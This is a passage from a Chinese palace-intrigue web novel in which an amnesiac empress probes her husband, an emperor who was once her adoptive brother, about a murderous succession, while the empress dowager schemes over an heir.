前楚时,设置市舶司对这些番邦异兽收取税钱,规定“番猫每只税钱百文”,名贵异种的猫儿甚至还能收取百倍税钱的。
波斯商人们想要带着这些波斯猫来到中原售卖,但是又无法支付所有波斯猫的税银,于是见灿娘子的母亲有些老了、丑了,恐怕就算卖出去,也还不值交给市舶司的税钱贵,索性就把那只可怜的母猫扔进水中溺死,带着它所生的一窝猫崽儿进了中原兜售起来。
其中的一只猫崽,就是灿娘子。
灿娘子自己的“身世”这般坎坷,出生还未满月生母就被人虐|杀,但这并不妨碍它的性情温顺,天真烂漫,而且十分黏人,最喜欢缠着人撒娇。
就算周奉疆在的时候,偶尔它去缠周奉疆,他也能敷衍地陪它玩一会。
因为它什么都不知道,什么都不懂。
如果它知道它的母亲是被“人”害死的,那它还敢这样黏人么?
媜珠听人说过,山林间的那些幼兽,若是其幼年时亲眼见到自己的母亲被人猎杀的话,待其成年之后都会很有警惕性,会远远地避开所有人;
若是遇到熊、狼、虎之类猛兽的幼兽长大了,它们甚至还会去寻人复仇的。
灿娘子之所以没有变成这样,不就是因为它什么都不懂,因为它一直都被人“蒙蔽”么?
那些波斯商人在把它卖出去之前,对它也是很好的,喂它吃羊乳长大,把它打理得干干净净漂漂亮亮,甚至还给它准备了许多玩具玩。
在它眼里,这世上大约就没有坏人罢?
媜珠忍不住想一想,有些伤秋悲春地感慨,想着自己和这猫儿又有什么区别呢?
都是一样的可悲之物罢了。
同样是因为想不起自己的从前记忆,所以她整日浑浑噩噩,似乎十分幸福地活在这深深宫苑之内。
佩芝候在一旁伺候着,见媜珠脸色又不大好看,有些落寞不快,连忙追问她这是怎么了。
媜珠状似随意地轻叹了两声:“没什么,只是如今见兄长们也都无趣了。从小总和他们混在一处玩,皮得跟猴子一样,现在都再也不能了。”
佩芝大约并没当回事,还安抚她说:“这都是自然的,娘娘如今是金尊玉贵的皇后娘娘,国舅爷们哪里还敢对娘娘如儿时一般没大没小?”
这几日里媜珠忙得不可开交,没有多少时间再留给她多愁善感的,内司省里的人一趟趟地到椒房殿来,处处总有些让她拿主意的地方。
媜珠一桩桩一件件应付下去,大半天的辰光很快便打发走了。
因为每逢这样的大节令,总免不得要给宫外的宗亲国戚们赏赐些节礼,例如赵国公府、穆王府、颍川公主府之类的。
媜珠想起如今这些王妃公主们膝下多有些年幼的小孩子,所以还额外精心准备了些赠给小孩子们的除夕节礼。
有一种琉璃灯盏,以八面琉璃拼接而成,琉璃灯罩上还雕刻着凤凰蟠龙、孔雀瑞兽之类的图案,内里有烛台,可置烛灯,看上去华美漂亮,是小孩子们会喜欢的玩意,若是等上元日时拎出去玩,还不知多夺人眼球的。
媜珠叫佩芝去翻了翻她的库房,清点出来这样的琉璃灯还有几十盏,足够她赏人的,便叫人取出来些,一一赏给那些王妃公主们膝下的小孩子。
颍川公主自己和驸马韩孝直生有一子一女,媜珠赏给那两个孩子一人一盏,只是忽然间想起颍川公主的妯娌冯氏和她同居公主府,冯氏膝下也有两子。
而冯氏的丈夫、韩驸马之弟,如今也征战在外,想起一来她现在一人操持家事十分辛苦,二来也不好叫她的孩子届时眼红颍川公主的孩子们有新奇玩意,于是便额外多赏了公主府两盏灯,意思是分给冯氏的两个孩子。
媜珠一面在账册上勾了出来,一面又回头低声叮嘱了一声那内司省的女官:
“我隐约听说颍川公主的妯娌似乎和公主不是太合得来,可是到底是一家人,抬头不见低头见的……你到时候去公主府里,亲自和公主说一声,叫公主出面把这灯赠给冯氏的孩子,兴许冯氏领了公主的情,也能念几分公主的好处,一家人也能多和气些。”
那女官恭恭敬敬地应了下来:“是娘娘想的周到,惦记着颍川公主呢。”
*
按照他们北地冀州的习俗,年廿九乃祭祖之日。
虽然如今皇帝都于长安,但本朝仍然延续了在冀州时候的许多旧俗。
除夕的前一日,皇帝带着身着翟衣凤冠、华服簪钗的媜珠和宗室皇亲、百官重臣一道前往奉先殿祭祀先帝周鼎和周氏先祖。
祭祖大事,一应都是由承圣殿里的赵太后安排的,然而等到祭祖之日,赵太后却推脱不适,借口不去。
皇太后是皇太后,哪怕她不是皇帝的生母,她的身份地位摆在那里,也无人敢置喙太后如何,所以她不肯去,当然也没人多说什么。
——事实上,她去年也同样没有去。
媜珠隐约能感觉到,赵太后对自己的亡夫先帝周鼎十分不待见,甚至隐隐到了有些怨恨的地步了。
她是怎么看得出来的呢?
概因祭祀先祖,每年都要按照前例置办五谷酒肉等物摆在先帝牌位之前,这些太牢牲畜牛、羊、豕,还有以五谷制成的吃食糕点,摆放的美酒等等,皆由赵太后一手操办。
本来,为了确保这些祭祀之物新鲜好看,一般都是在祭祀的当日或是前一两日才制备好的;然而赵太后反而非要让内司省的人提前一整个月就提前准备好,备好后就收在库房里放着不动。
等到祭祀之日时,那些吃食早就发霉生变,酒水里也扑上了一层灰尘,看上去甚至显得有些寒酸。
内司省的人为了使祭礼不失仪,往往都要提前一夜把那些荤肉、糕点上的霉变小心刮掉,处理起来格外繁琐。
今年祭祖完后,帝后二人回到椒房殿内歇息,媜珠又忍不住和皇帝说起这事,说不明白太后为什么要这么做。
皇帝有些倦乏地躺靠在椅上,抖了抖衮服广袖,浑不在意地对她说:“还能为什么?自然是为了恶心恶心先帝,故意拿这些霉了馊了臭了的酒肉给先帝宗庙所用。”
媜珠啊了一声,“可是太后乃先帝正妻,为何对先帝如此不悦?”
皇帝顿了顿,侧首深深地看了媜珠一眼:“媜媜……即便是亲夫妻、亲血亲,有时候还不如所谓的外人靠得住。太后才是聪明人。”
媜珠的眼神越发不解。
周家从前的许多事情,现在的她并不知道。
皇帝哂笑:“你若是知道先帝临终前曾经命赵太后替他殉死,那么你就会明白,今时今日赵太后只是叫人给他做了些馊饭臭肉浊酒当祭品,其实还是克制了的。”
对上媜珠困惑无知的目光,周奉疆在这一刻不知为何有许多话想要说给她听。
哪怕他的理智告诉他,过去的那些都让它过去吧,没有必要再和她提起,没有必要沓樰團隊冒着这种可能刺激到她的风险再和她说从前的事。
但,或许是内心多年来蛰伏的不甘和愤懑实在太深,除夕前的这一夜,在椒房殿里温暖柔和的摇曳烛光之下,他静静凝视着媜珠的容颜,还是对着媜珠开口了。
在皇帝的低声诉说里,媜珠听到了一个这样的故事。
昔年赵太后嫁给冀州侯周鼎为正妻,是为周鼎的赵夫人。
因为有老道士曾经预言赵夫人腹中所出的血脉可以贵极天下,周鼎认为,赵夫人为他所生之子就能成为天子,因此多年来格外宠爱赵夫人。
但是,在周鼎的宠爱之下,赵夫人并没有生下男嗣,她一生也只生了一个女儿,即周三娘子兖国文公主。
虽然赵夫人生不出儿子,虽然周鼎也一直期盼着赵夫人为他生下的嫡子,但这也并不妨碍他还有满后院的其他妾室通房们。
这些娇艳美丽的妾室替周鼎生下了一个个健壮的庶子,周鼎不管多期盼赵夫人所生的嫡子,可是庶子也同样是他的亲生儿子,他不可能不在意、不器重,所以他对这些庶子们同样用心栽培,寄予厚望。
那些生育了庶子的妾室们,自然有一个算一个地跳起来和赵夫人互相拆台,明里暗里争斗不休,把赵夫人十几二十年来气得牙都要咬碎了。
——再加上,赵夫人自己本来也不是个多贤良淑德的嫡母,她自己也没法忍着恶心和怨恨去把丈夫的庶子庶女们视如己出、亲自抚养,对这些庶子庶女都是随意敷衍。
所以,等那些庶子们渐渐长大之后,人家当然一心向着自己的生母,和这没生过自己没养过自己的嫡母赵夫人面和心不和。
赵夫人自己私下都曾经无数次说过,等周鼎一死,不论是他的哪个庶子承袭了家业,成为下一任冀州侯、冀州节度使,人家要做的第一件事,肯定都是先扶正自己的妾室生母,然后想法子磋磨死她这个眼中钉肉中刺的嫡母。
到时候,她没被人撵进马厩里吃泔水喝马溺,都算是她积了大德了。
而那时只有一个女儿的她,唯一还能依仗的底牌,就是她的养子周奉疆。
直到后来,周鼎忽然中风病重,短短两个月便油尽灯枯,命将休矣,眼看就要不久于人世了。
在他临终前,他的庶长子周奉鸣和养子周奉疆一起到他病榻前侍疾。
弥留之际,周鼎回光返照般地有了一点力气,从榻上强撑着坐了起来,叫人取来笔墨,写下了一份手令。
手令里说了两件事。第一是将自己的家业传给庶长子周奉鸣。
第二,则是命他的庶长子周奉鸣和养子周奉疆在他丧仪之后去赐死正妻赵氏,让赵夫人替他殉死。
谁敢阻挠此令,皆杖死。
在他死后,他要带走他的嫡妻。
“为什么?”
听到这里,媜珠惊呼了一声。
皇帝道:“因为曾经有人预言赵夫人能生下天子,先帝死前仍然对此事耿耿于怀,他怕他死后……”
他短促地笑了一下,“他怕他死后,万一赵夫人改嫁旁人,替旁人生下了儿子,那该如何是好?他当然不甘心,所以只有赐死赵夫人才能让他彻底安心。”
媜珠揪紧了衣袖:“那后来呢?”
后来赵夫人当然没有死。
可是她为什么没有死成?
皇帝在此时反问了媜珠一个问题:“媜媜,你觉得这时候是谁保住了她?是因为她的丈夫回心转意?还是因为她的娘家有本事干涉此事?是她那个娇滴滴的养在深闺的亲生女儿?还是早就视她为眼中钉的那些庶子们?”
……
媜珠抿了抿唇:“是陛下。是陛下您护住了母亲。只有陛下。”
皇帝哼了声:“当然还是朕。”
拿到那份手令后,周鼎的庶长子周奉鸣喜不自禁,几乎恨不得立马飞奔过去弄死这个碍事的嫡母。
等周鼎一死,周家开始替他办了丧仪,丧仪尚未结束,周奉鸣便联合周家的几位长辈,拿出了周鼎的手令,准备一起在周鼎的灵柩前逼赵夫人殉死。
好在赵夫人早与周奉疆里应外合,在丧仪之日偷偷开了冀州侯府里的一个偏门,周奉疆带着上百精锐亲信杀入周家,哗然兵变,将周鼎的几位庶子、弟弟、侄儿们斩杀于他灵堂之前,血溅三尺,这才免了赵夫人一死。
也是因为此事,在周鼎死后,他才成为了冀州的下一任主人,才有了他的今日。
说到这里,周奉疆起身走到了媜珠面前,伸出双手捧住了媜珠被吓得雪白的小脸:
“媜媜,你觉得赵太后做的对么?”
媜珠声线有些颤抖:“自然是对的。妾虽失忆愚钝,却也明白,人不为己、天诛地灭。太后何错之有?”
周奉疆又轻声问她:“那你觉得朕做错了么?世人对朕多有口诛笔伐,说朕身为养子,却谋权篡位,杀养父亲子亲弟亲侄,是为天诛地灭。你觉得朕该不该这样做?”
媜珠快要哭出来:“不、陛下没有做错。陛下没有错。陛下虽是先帝养子,可也是太后所养,陛下为护住养母……并无错。”
周奉疆微微一笑,问了她最后一个问题:“那你若是赵太后与先帝的女儿兖国文公主呢?你会选谁?是选择赐死你母亲的父亲和兄长,还是选择朕这个没有血亲的兄长?”
媜珠猛地抬眸望向他:“——陛下为何会有此问?”
周奉疆也直视着她:“朕随口一问罢了,只是想问问媜媜你是怎么想的。媜媜,告诉朕,如果你是兖国公主,你会选谁?”
良久,媜珠回答了他。
“自然是选陛下。在妾心里,无人比生母更重要。竹林七贤之一的阮籍曾说过,即便是禽兽之辈,不知其父,也该知其母。若妾是当年的兖国公主,谁能护住妾的母亲,妾就向着谁。”
在她回答完之后,面前的男人看着她,露出了一个媜珠无法形容的畅快的笑意。
他今晚好像很高兴。
第27章
他毕生最爱的是她,却也时常会恨她。
恨她从未真正和他站在一起、从未坚定地选择过他。
在他和张道恭之间,她想要选择的丈夫不是他。
在他和她的那些庶出兄长们之间,她最终选择的兄长不是他。
在他和她那些同父异母的兄弟姐妹、叔父堂兄弟们之间,她更坚定的选择的亲人也不是他。
所以她疯了一样非要想嫁给张道恭;所以在他杀了她的那些叔父堂兄们之后,她对他恨如入骨,百般怨怼,说他毁了她的家。
可她从来也不懂他的苦衷,从来不懂他也是为了她和她母亲好。
诚然他也有自己的野心私欲,可他所做的一切,从未悖逆过她和她母亲的利益;他杀再多的人、做再多所谓大逆不道的事情,他从未伤害过她。
为什么她就是不懂呢?
*
“陛下,陛下从前都不喜别人在妾面前提起兖国公主,为何今夜陛下自己却同妾说起公主了呢?”
周奉疆面上还未消散的笑意随着媜珠问出的问题瞬间隐去。
周媜珠并没有那么笨。即便失忆,可她并不迟钝。
她看向皇帝,说话时的姿态和语气都是那样无害,好像只是家常闲聊一般,
“陛下陡然对妾问起兖国公主的事情,是因为当年的兖国公主没有选择陛下、更没有理解陛下,是吗?兖国公主是不是伤了陛下的心,所以陛下多年后仍然耿耿于怀,不能释然?”
媜珠的眸子里浮上一层雪雪的光亮,“陛下,妾说的对不对?”
周奉疆神色里起先的那点从容,在她的朱唇一张一合缓缓吐出的一字一句里寸寸崩塌。
什么是心魔?
不过如此而已!
到底隔了这么多年,她却还是能这样轻轻松松地刺痛到他心里去。
他不答她,媜珠上前牵住他的衣袖,语气中多了些固执,
“陛下不肯回答妾,所以妾猜的原来都是真的了?那妾还想多问陛下几句,公主当年之所以能伤陛下的心,是因为陛下曾经待公主也格外宠爱吧?以陛下为人,若非真的在意、宠爱公主,仅仅公主的三言两语,如何能让陛下如此伤心、难以释怀?若非曾经和公主兄妹情深、情谊深厚,陛下何故追封公主为国公主,又赐公主谥号?”
她不仅不笨,其实还很聪明。
周奉疆的气息乱了,媜珠瞥见他胸膛剧烈起伏了几下,下颌紧绷,像是被她给逼急了的样子。
他不说话,不回答她,但是也没有对她发难、斥责她多言。
所以媜珠已经从他的反应里看到了答案。
不知是如何鼓起的勇气,媜珠仍然在“乘胜追击”,她顿了顿,抓紧了皇帝的衣袖,继续问道,
“陛下,妾还在猜测,您几个月前和妾说兖国公主生性娇纵无礼,待家中姊妹亲人皆傲慢非常,时常欺辱旁人。妾虽不记得过去兖国公主是如何待妾的了,可是妾敢断定,至少公主生前待陛下一定是极好的。若不是公主真心待陛下好,陛下后来便不会宠爱公主,更不会因公主而伤心,对不对?”
周奉疆从来没有想过,原来有朝一日自己可以狼狈至此,在已经失忆的她面前都会被她轻轻松松打得这样溃不成军。
他今夜的情绪已经跌至谷底,疲倦到一个字都不想再说。
到这个时候,他才忽然发现自己从前有多明智,今夜又有多愚蠢。
从前他管她管得那么严,不准旁人在她面前随便乱提一个字、乱说一句话,实在是明智之举,以她的心思细腻聪敏,若是她之前就从旁人口中听过这些故事,只怕假以时日,她早就能推算出所有的一切本来的真相。
也笑自己的疏忽和错漏,为了逞一时之气,对她多说了这么多不该说的。
他问了她两三句,却招来了她喋喋不休的一串问题,让自己在她面前如此狼狈。
只有她,从来也只有她,明明是个手无缚鸡之力的柔弱女子,只靠着朱唇里轻轻吐出的只言片语就能让他一溃千里。
昔年张道恭命朝廷中书省官员做《讨周贼檄》,传檄天下征讨他,那檄文中对他极尽攻讦谩骂侮辱,骂他克父克母,所以他生父早逝、生母为娼、血脉低贱;骂他杀他养父的亲子亲弟亲侄,是逆道乱常、怀恶不悛、天地不容、恶积祸盈、天地共谴。
包括其他各地节度使、藩王对他所做的各种檄文林林总总不下十余篇,却从未有一字半句能激他怒火。
天下文人幕僚极尽笔墨心血,比不过周媜珠只是望着他低声问一句,“陛下,妾说的对么?”。
这才是真能戳到他五脏六腑里的伤人之言。
*
周奉疆越是不理她,媜珠越是心潮澎湃,似乎有问不完的话,她还想问问他,陛下,当年兖国公主之所以和您决裂,恐怕不只是因为她恨您杀了她的兄长叔父们吧?
是不是还因为张道恭?
因为兖国公主想要嫁给张道恭,而您不准她嫁,所以公主更加怨恨您。
但媜珠没有机会再多问了。
皇帝蓦然拂袖而去,深夜离开了他们的寝殿,只留下媜珠一个人待在原地。
她手中攥着的他的衣袖被扯开时,媜珠一时身形不稳,踉跄了下,皇帝却头也不回,看也没有看她一眼。
如果是往常,他是不会这样对她的。
皇帝似乎生气了。
他走远后,外间侍奉的佩芝有些不明所以地步入内殿,脸色焦急地问媜珠:“娘娘,陛下这是……?这夜已深了,您和陛下这是怎么了?”
皇帝走的时候脸色不好,而且深夜负气乍然离开,更是从未有过的。
哪怕是媜珠身上正行经时不能侍寝,他都照旧宿在椒房殿里陪她,今晚这样,不知又是闹了什么不痛快……
佩芝小心地觑了觑媜珠,见媜珠神容十分坦然,没有半点触怒了皇帝的悔意和不安,甚至唇畔还凝着一点微微的笑意。
媜珠拂开了佩芝的手,转身在自己的梳妆台前坐下,神色自若:“无事,伺候我梳洗就寝吧。”
佩芝也不好再多说什么。
皇帝这天夜里是一个人在宣室殿的书房里将就歇下的。
实际上,他的离开并不是生了媜珠的气,他也没有恼怒媜珠的理由。
无非是不敢面对而已。
他知道,自己再跟她待下去,他只会在她面前暴露更多的破绽和弱点。
她比他想象中的还要聪颖许多。
——他今晚应该一个字都不对她多说的。
*
翌日便是除夕了。
皇帝在除夕前夜忽地无故从椒房殿内离开,在外人看来,这是很下皇后脸面的举动。
故而这事少不得第二天一早就飘进了承圣殿的赵太后耳中。
赵太后深深叹气许久,在清晨时派人去请皇帝至承圣殿内说话。
皇帝对赵太后这位养母平素多是礼数周到,敬重有加,赵太后寻见皇帝,皇帝无不去之理。
直到坐到了承圣殿里,皇帝和赵太后母子二人相对而坐时,皇帝的脸色仍然不怎么好看。
赵太后缓缓地开口试探道:“媜媜那孩子,自小是被咱们一起惯坏了,你也是亲手带着她长大的,皇帝你有胸吞六合之量,何必和她一般见识。”
皇帝摇了摇头,“太后。”
不知从什么时候起,他很少再唤她“母亲”了,都只叫她“太后”。
他说,“朕并非是生了媜珠的气,媜珠也没有触怒朕,只是……”
他将昨夜的事轻描淡写地说给了赵太后听,说来说去,不过还是他在害怕,害怕媜珠在没有爱上他的时候就想起那些过往不该想起的记忆罢了。
到时候,就连他和她之间这点虚假的、可怜的温存和欢愉都将不复存在。
赵太后听罢并无异色,同样一副淡然之态,然而她向皇帝给出的建议却有些语出惊人。
“你若是怕,就叫她先给你生一胎吧。你们有个孩子了,以后还怕什么?总归看在孩子的面上,即便媜媜想起了些什么,她也不会再如何了。”
皇帝今年已经二十七八,眼看着快要到了而立之年,膝下竟没有丁点血脉子嗣,后宫也唯有皇后一人。
一个崭新的帝国,若是还没有后嗣,总归看起来有些风雨飘零的不稳妥,不仅叫朝臣们不能心安,就是天下大魏臣民也有些惶惶。
旁人不敢说皇帝什么,那天下人口诛笔伐的剑锋也迟早要指向中宫皇后的脑袋上的。
事实上,光是现在,就已经有不少人在隐隐不满皇后的肚子失职了,只是碍于她的盛宠和皇帝的溺爱,所以才无人敢提而已。
周奉疆抬头看了赵太后一眼,声线有些不悦:“太后,媜珠是您的亲生女儿。”
她是觉得他真的不懂她心里打着什么算盘么?
旁人担心他无嗣,姑且他还能说这些人在“忧国本”,但赵太后在这乱出馊主意,则单纯只是这女人在愁着自己的皇太后地位不稳。
他不是她的亲生儿子,哪怕如今相安无事,面上是一派母子情深,可谁也拿捏不准这母子情能深到什么时候。
身为皇太后,她现在最想做的当然就是手头有个自己的小皇子,最好还是她身为皇后的亲生女儿所生的皇子。
那孩子若是能快点生下来,既是嫡子又是长子,理所应当都该被立为太子,而且还是她的亲孙子,怎么说以后也要认真孝敬她这个亲祖母,可比没有血亲的养子要更有用多了。
届时她才能真的心安,继续宽心享受起自己的荣华富贵,还能高高兴兴盼着当太皇太后那一天。
——至于她女儿怎么样,她还管得了多少?
周奉疆不想再听她啰嗦,起身就要离开。
“皇帝当我只是为了我自己吗!”
赵太后语气急促地唤住了他,周奉疆离去的脚步顿住。
赵太后的声音低缓了下去,说话时有了些哀沉的无奈,
“我不算什么有用的母亲,我的媜珠……更算不上是什么聪明绝顶的孩子,她也逃不出你的手心。她这辈子能怎么样,不过最后全凭你的良心了。你多爱她一日,她就能多好过一日。史书里那么多工于心计、精明能干、母族强盛的皇后宠妃们,最后也没见她们能在男人手下保全余生。媜珠尚且还没有她们一半的心计城府,以后更不知下场如何。我只是想你给她一个孩子,让这孩子以后能成为她的依仗……”
周奉疆烦躁地捏了捏自己的眉心。
热热闹闹的年节里,他还专程跑来听赵太后啰嗦一通丧经,简直是闲得发慌。
他回首望向赵太后:“有子又如何?无子又如何?史书里有子却被废被杀的皇后难道少了么?太后,您不是说了么,媜珠这辈子依仗的是我对她的爱,只要我爱她,她就会永远尊贵无忧。与其替她求子,您不如多请神仙佛祖保佑保佑我们夫妻白首偕老,一生恩爱。”
皇帝走后,赵太后气得快要捶胸顿足,一手扶着一旁嬷嬷福蓉的手,一手私下里指着皇帝离去的背影骂道:“我说什么……我说什么……”
“你瞧啊,不是自己亲生的,总归没有半分用处,如今占着我的女儿,连对我一声母亲都不喊了。养子养子,不过是做做样子,竟没有半分真心!”
她对福蓉道:“所以我说,女人这辈子还是要有个亲生的孩子做依仗,再不成器,也比这半路来的养子中用些!”
福蓉也只能哀叹着劝她:“太后别多想了,陛下再怎么样,不是也比前头的河间王张道恭强了百倍不止么?您想想,不是这个道理?除了这个女婿、这个养子,谁还能捧您做皇太后呢。您是有大福气的人……”
第28章
有时候想想,人呢,果然是永远都在贪得无厌,永远都会想要更多。
所以思来想去,哪怕已经成为天下人眼中贵不可及的皇太后,可赵太后这样的女人也总觉得人生处处皆遗憾。
遗憾为什么自己不曾得到丈夫全心全意、始终如一的爱;遗憾为什么今时今日坐在龙椅上的不是自己的亲生儿子。
她也会时常感到惶恐,这些年来不止一次地在心中感到焦虑,焦虑自己女儿的人生命数。
——是她把媜珠渐渐推到周奉疆的手里的,是她让这个外面来的养子慢慢惦记上了她的女儿。
她过去二十多年里所做的一切,到底对不对?
从媜珠出生之后,她就对丈夫周鼎后院中的其他姬妾通房、庶子庶女们满心戒备,总觉得这些贱妾庶孽们必然和她的女儿不是一条心,不可能真心待她女儿好。
什么所谓的兄弟姊妹手足,呸,不是一个娘生娘养的,根本一文不值。
所以她也不喜欢媜珠和他们凑在一处玩耍。
相反,她信任的是自己的养子周奉疆。
她总觉得,谁都会害她的女儿,只有这个养子还算是靠得住的,他没道理害媜珠。
何况当日她收养这个养子,盼望着这个养子能有出息,就是为了给自己、给自己日后的儿女多一重依仗和帮衬。
既然养都养他了,她当然希望养子和自己的亲生女儿感情深厚些。
她放任媜珠从小就和周奉疆在一起玩,媜珠才几个月,开始学会微笑、翻身、爬行、坐起,到摇摇晃晃的走路、略显笨拙的牙牙学语,周奉疆都亲自见证参与过。
他陪着媜珠时,媜珠确实从来没有出过任何意外。
身为兄长,他照顾这个妹妹分外用心,赵太后心中很满意。
这是媜珠那些所谓同父异母的血亲兄长们都做不到的。
比如说,媜珠三四岁的时候,有一次和她的几个哥哥们一道在凉亭里闲玩,她一时不慎,从湖心凉亭的栏杆下摔落了水中,而那几个庶出的兄长只顾着在一旁假惺惺地做惊慌失措状,却无一人搭手救救媜珠这个亲妹妹,都隔岸观火一般看着媜珠可怜兮兮地在水里挣扎。
还好那时她打发养子周奉疆去接媜珠回房吃饭,周奉疆寻至了湖边,见到媜珠的惨状,毫不犹豫地下水捞起了媜珠,这才把媜珠救了上来。
这件事至此让赵太后记恨心中,每每一想起就恨得咬牙切齿。
想起一次,就要和身边的婢子福蓉她们骂一次:“我们媜媜要这些亲兄长到底有什么用?这些人连周奉疆的半根手指头也比不过。媜媜从小和她哥哥一处长大,她哥哥带她时,她连吐奶都没吐过一次。怎么这些亲兄长们一个个就知道害她?可见不是一个娘养的,永远都不是一条心,别说比不过我的养子了,就连外人也没他们这样狠毒!”
媜珠善良单纯,并未因此事怪罪那些庶兄们,反而还会在她父亲周鼎面前为庶兄们说些好话。
赵太后有一回实在是被媜珠气得不行,把媜珠拽回了自己房里,又叫来养子周奉疆,一手指着养子,骂女儿道:
“谁是你兄长?这才是你兄长,亲得不能再亲的兄长!除了他,谁对你是真心的?谁会管你的死活?你巴巴地赶上去认他们做什么兄长?我的儿呀,你糊涂啊,你娘就给你养了这一个兄长,你以后记他的好处、在你父亲面前替他说好话就行了,你管别人做什么!”
大约是终于被母亲骂醒了一些,天真单纯的媜珠也终于清醒了点,从此之后和那些庶出的兄长姊妹们在一起时,也知道留点心眼了。
她有一些小秘密,一些不太愿意告诉旁人的心里话,总是只会告诉周奉疆。——例如说,她有多喜欢河间王张道恭,她梦想着以后一定要嫁给这个男人。
虽然和家中别的姊妹们面上仍旧和和气气的,仿佛什么芥蒂都不曾发生过,但她心中最亲的、最偏向的还是周奉疆。
闺阁里做女孩儿的时候,她从前给过周奉疆很多银钱,赵太后都默许了。
因为媜珠得她父亲周鼎宠爱,周鼎隔三差五想起来赏赐给她的奇珍赏玩之物从来就没断过,给她的月例银钱也是最丰厚的。
媜珠很少有需要花钱的地方。她总会把这些钱在手里聚一聚,攒够了一个匣子的碎金碎银,然后全都拿给周奉疆。
她说,兄长现在跟着父亲周鼎在外面做事,不管是军营里还是官衙内,来来往往,人情打点,男人总是少不了要花钱的。
只有手头有闲钱,才有动身的资本,才能积蓄自己的人脉,要不然不管在何处都是寸步难行。
她想让阿兄在外头过得轻松些,把她所有的都拿给阿兄。
周奉疆拒绝过她,她反安慰他说,等到阿兄日后出人头地,封侯拜将了,再多多给她添些嫁妆,当做对她的补偿就是了。
赵太后那时对此深以为然,看着一双儿女“兄妹情深”,互相帮衬,心下感到十分满意。
她会对女儿说:“我的媜媜这才算聪明了,你帮着你兄长,待你兄长来日有了些出息,他还不是要对你好?你那些庶出的兄长们,和你都不是一个娘拉扯大的,以后谁还会管你死活?”
又转头对周奉疆说:“我的儿,母亲当年瞧你就绝非池中之物,蛟龙得云雨,终有出头日。你母亲没有亲儿子,你妹妹那些亲兄长……哎,眼见有了还不如没有。等母亲以后老了……媜媜儿嫁了人,还是少不得要靠你照看呢。”
后来的确如她所愿,养子有了大出息,作为对媜珠当年情意的回报,彼时已是北地霸主的周奉疆亲自替媜珠准备了一份极为丰厚的嫁妆。
就算是皇帝老子嫁他的公主闺女,也难寻这样的排场。
媜珠出嫁之日,那是真正十里红妆,珍宝珠翠,不可胜数。
只不过她是在失忆的情况下被人嫁到了她兄长的床榻上,成了她兄长的妻。
而身为母亲,她那时什么都做不了,只能目睹和默认这一切的发生。
……
也许直到周奉疆彻底暴露出他对媜珠的强占欲时,赵太后才意识到她这些年在亲手酿成一桩怎样的祸事。
她自认为想要养子和亲生女儿兄妹情深,以为自己是替女儿找了个靠得住的兄长做靠山,却完全忽视了在周奉疆的视角里,她女儿从来都不是他的亲妹妹。
媜珠出生时,周奉疆已经是个记事了的孩子了,是不是他的“亲妹妹”,是不是和他有兄妹人伦之义的亲人,他怎么可能不懂?
她这个养母养了他这么多年,他和她也不过是互相利用的利益共同体,他在心里从没拿她当做亲生母亲。
他又怎么会拿媜珠当亲妹妹?
既然不是他的亲妹妹,那么在他眼里,媜珠就单纯只是一个女人。
一个陪了他很多年的,他很喜欢的、可以被他用权势得到的女人。
*
赵太后哀哀戚戚地又叹了许久的气,这才在福蓉的搀扶下起身去换了件皇太后礼衣,预备着好好过这个除夕日,等着宫外外命妇们入宫向她请安叩首。
她思来想去许久,还是觉得要有个亲孙儿最紧要,又窃窃私语地和福蓉议论:
“如今这养子是不大靠得住了,他并不拿我真心当个亲娘孝敬。我那亲生女儿……也不中用。到底还是有个亲孙儿好,有些血脉亲缘,总比没有强。以后我的寿数若是长些,兴许还能有做太皇太后的那一日,福蓉,你说是不是?”
福蓉自然是点头附和:“婢子也盼着皇后殿下早得龙嗣呢。”
说来说去,皇帝也并没冤枉了赵太后,她在意的还是这个罢了。
苦了谁也不能苦了她那颗盼做太皇太后的心。
*
除夕节令,不管怎么说,帝后二人都没有不相见的道理。
晨起时,皇帝从赵太后宫中出来,至太熙殿受百官祝岁朝拜。
媜珠今天起得则比平日还稍晚了些。
她以为昨夜自己一人孤枕,独守空房,身旁少了那个男人的存在,难免会睡得不大习惯,却没想到自己满枕好眠,一夜无梦直至天明。
直到佩芝过来唤她起身梳妆,媜珠才从榻上起了身。
媜珠的容色红润,没有半点憔悴的意思,似乎也没有为皇帝昨夜的离去而伤怀过什么。
她好像根本就不在乎。
这场情爱里来来去去纠缠了一场,陷进去的大约只有皇帝一个人。不管皇帝如何爱她、对她好,她总是淡淡的,不甚在意的模样。
得宠也好,失宠也罢,全然不在她考虑的范围之内。
佩芝望了望她,心里有些杂思,总归是心疼皇帝的,只是没当着媜珠的面说,如往常一般侍奉她洗脸梳头。
温热湿润的柔软巾帕敷到面上,媜珠深深呼出一口气,阖了阖眼,取下面上的巾帕丢回水盆里。
“见我没有为陛下的冷落而伤心,嬷嬷似乎不大乐意呢。”
媜珠头也不回,似笑非笑地吐出一句话来。
面对皇后前所未有的发难一般的语气,佩芝的心陡然一紧,手中拿着的玉梳都抖了下,险些没握住。
“婢不敢!娘娘……娘娘这话是什么意思,叫婢心下惶恐呢。”
媜珠仍旧没有回头看她。
她静静地凝望着铜镜中自己的容颜:“没什么,玩笑话罢了。”
殿内又是一片寂静,佩芝再不敢开口说话。
洗脸毕,媜珠忽然转头望向佩芝,不知是不是刚洗过脸的缘故,她眼尾似是凝着点点水光,也不知是水还是泪,只是她的态度忽然软了下来,微微耸下的纤薄肩膀里,竟然还能看出些落寞无助的样子。
“陛下腻乏我了,我如何不在乎,我不过是怕你们宫人都在心里笑话我,所以装作不在乎罢了。我昨夜不过和他提了兖国公主几句,他便不愿搭理我。陛下告诉我说,兖国公主生前性情不好,还常常欺负我,可如今连他也和兖国公主一样欺负我……他以后是不是再也不会来椒房殿了?我是不是该失宠了?我这个皇后做得还有什么意思!”
佩芝一听这话,连忙上前扶着媜珠的身子,一手抚着她的肩劝慰道:“娘娘说的这是什么话!怎么会呢!陛下最宠爱的便是娘娘了,陛下怎么舍得呢……陛下昨晚兴许是有些政事要忙,怎么会是生了娘娘的气呢……”
但凡是女人,哪有能不在乎丈夫的宠爱的。
原来这看上去一直温婉端庄、无欲无求的皇后,心里也不是真的不在乎天子恩宠。
佩芝面上安抚着她,心里反而松了一口气。
佩芝被她的反应给蒙混了过去,媜珠也露出了一个浅浅的微笑。
*
媜珠是在中午的除夕宫宴上见到的皇帝。
她自是盛装华服而来,美艳不可方物,皇帝上前握住了媜珠的手,牵着媜珠在他身侧坐下,轻声安抚媜珠:
